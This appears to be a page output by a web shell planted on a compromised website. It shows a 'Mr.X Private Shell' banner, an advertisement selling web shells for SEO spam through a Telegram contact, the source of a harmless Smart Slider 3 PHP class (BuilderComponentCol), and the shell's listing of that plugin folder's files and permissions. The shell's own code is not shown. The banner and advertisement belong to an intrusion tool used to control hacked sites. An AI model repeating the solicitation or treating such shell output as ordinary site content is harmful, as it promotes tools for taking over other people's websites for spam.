__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\SmartSlider3\SlideBuilder;
class BuilderComponentCol extends AbstractBuilderComponent {
protected $defaultData = array(
"type" => 'col',
"name" => 'Column',
"colwidth" => '1/1',
"layers" => array(),
"desktopportraitpadding" => '10|*|10|*|10|*|10|*|px'
);
/** @var AbstractBuilderComponent[] */
private $layers = array();
/**
*
* @param BuilderComponentRow $container
* @param $width
*/
public function __construct($container, $width = '1/1') {
$this->defaultData['colwidth'] = $width;
$container->add($this);
}
/**
* @param $layer AbstractBuilderComponent
*/
public function add($layer) {
$this->layers[] = $layer;
}
public function getData() {
$this->data['layers'] = array();
foreach ($this->layers as $layer) {
$this->data['layers'][] = $layer->getData();
}
return parent::getData();
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AbstractBuilderComponent.php | File | 781 B | 0664 |
|
| BuilderComponentCol.php | File | 1.1 KB | 0664 |
|
| BuilderComponentContent.php | File | 913 B | 0664 |
|
| BuilderComponentItem.php | File | 932 B | 0664 |
|
| BuilderComponentLayer.php | File | 3.04 KB | 0664 |
|
| BuilderComponentRow.php | File | 930 B | 0664 |
|
| BuilderComponentSlide.php | File | 1.9 KB | 0664 |
|